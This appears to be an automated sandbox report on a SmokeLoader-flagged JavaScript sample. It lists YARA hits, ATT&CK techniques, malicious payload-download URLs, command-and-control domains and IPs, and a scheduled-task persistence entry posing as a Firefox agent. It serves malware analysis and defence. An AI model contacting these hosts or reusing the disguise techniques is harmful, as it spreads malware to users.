Source: Yara match	File source: 16.2.sarbjfc.5d0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.putty.exe.4f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.sarbjfc.5e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.sarbjfc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2518973647.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2236336367.0000000000550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 5.3.putty.exe.550000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.sarbjfc.5d0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.putty.exe.4f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.sarbjfc.5e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.sarbjfc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2518973647.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2236336367.0000000000550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	21 Scripting	Valid Accounts	2 Command and Scripting Interpreter	21 Scripting	312 Process Injection	21 Masquerading	OS Credential Dumping	421 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	141 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	312 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	133 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\putty.exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Roaming\sarbjfc	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Roaming\putty.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\sarbjfc	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://spotcarservice.ru/fdjskf88c	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty.exe	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88	0%	Avira URL Cloud	safe
http://constractionscity1991.lat/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.pd	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdj	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty.e	0%	Avira URL Cloud	safe
https://word.office.comM	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjs	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.pdf	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cv	0%	Avira URL Cloud	safe
http://spotcarservice.ru/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/put	0%	Avira URL Cloud	safe
http://spotcarservice.ru/f	0%	Avira URL Cloud	safe
http://spotcarservice.r	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjsk	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/in	0%	Avira URL Cloud	safe
http://connecticutproperty.ru/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoc	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invo	0%	Avira URL Cloud	safe
https://excel.office.com-	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/p	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/i	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf8	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.p	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/inv	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/pu	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty.ex	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty.	0%	Avira URL Cloud	safe
https://powerpoint.office.comEMd	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putt	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fd	0%	Avira URL Cloud	safe
http://restructurisationservice.ru/	0%	Avira URL Cloud	safe
https://outlook.come	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.pdfp	0%	Avira URL Cloud	safe
http://spotcarservice.ru	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
constractionscity1991.lat	94.156.177.51	true	true	unknown
restructurisationservice.ru	94.156.177.51	true	true	unknown
spotcarservice.ru	94.156.177.51	true	true	unknown
connecticutproperty.ru	109.70.26.37	true	true	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.58.100	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://constractionscity1991.lat/	true	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/invoce.pdf	true	Avira URL Cloud: safe	unknown
http://connecticutproperty.ru/	true	Avira URL Cloud: safe	unknown
http://restructurisationservice.ru/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 0000000E.00000000.2310451909.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/invoce.	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/putty.e	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/I	explorer.exe, 0000000E.00000000.2310451909.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88c	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/invoce.pd	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjs	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/putty.exe	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	false		high
https://word.office.comM	explorer.exe, 0000000E.00000000.2324110985.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 0000000E.00000000.2296114967.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.2304657669.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.2304616494.0000000007B50000.00000002.00000001.00040000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdj	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cv	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjsk	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/e	explorer.exe, 0000000E.00000000.2311889779.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2249188831.0000028F263F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/f	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/in	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/put	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.r	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.6.dr	false		high
http://spotcarservice.ru/fdjskf88cvt/invoc	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/invo	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.2249188831.0000028F27299000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	false		high
https://excel.office.com-	explorer.exe, 0000000E.00000000.2324110985.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/p	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf8	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000007.00000003.2215988718.0000020C1DB70000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	false		high
http://crl.ver)	svchost.exe, 00000007.00000002.3434883597.0000020C1DE00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/i	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/invoce.p	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/pu	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/inv	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/invoce	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/putt	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.7.dr	false		high
https://powerpoint.office.comEMd	explorer.exe, 0000000E.00000000.2324110985.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/putty.	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/putty.ex	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fd	powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 0000000E.00000000.2324110985.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.come	explorer.exe, 0000000E.00000000.2324110985.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 0000000E.00000000.2311889779.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/	explorer.exe, 0000000E.00000000.2310451909.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2249188831.0000028F263F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/putty	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru	powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F280A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/invoce.pdfp	powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei	explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
109.70.26.37	connecticutproperty.ru	Russian Federation		48287	RU-CENTERRU	true
94.156.177.51	constractionscity1991.lat	Bulgaria		43561	NET1-ASBG	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577217
Start date and time:	2024-12-18 09:22:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js renamed because original name is a hash value
Original Sample Name:	i ii.js
Detection:	MAL
Classification:	mal100.troj.expl.evad.winJS@23/41@6/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 95% Number of executed functions: 39 Number of non-executed functions: 22
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 162.159.61.3, 172.64.41.3, 23.218.208.137, 92.122.16.236, 23.195.39.65, 217.20.58.100, 2.19.198.27, 23.32.239.56, 184.30.20.134, 13.107.246.63, 52.149.20.212, 54.224.241.105
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Execution Graph export aborted for target powershell.exe, PID 2828 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:23:43	API Interceptor	35x Sleep call for process: powershell.exe modified
03:23:48	API Interceptor	2x Sleep call for process: svchost.exe modified
03:23:59	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
03:23:59	API Interceptor	192287x Sleep call for process: explorer.exe modified
09:24:18	Task Scheduler	Run new task: Firefox Default Browser Agent 9DB2DEEA06B24D6C path: C:\Users\user\AppData\Roaming\sarbjfc

Joe Sandbox View / Context

IPs

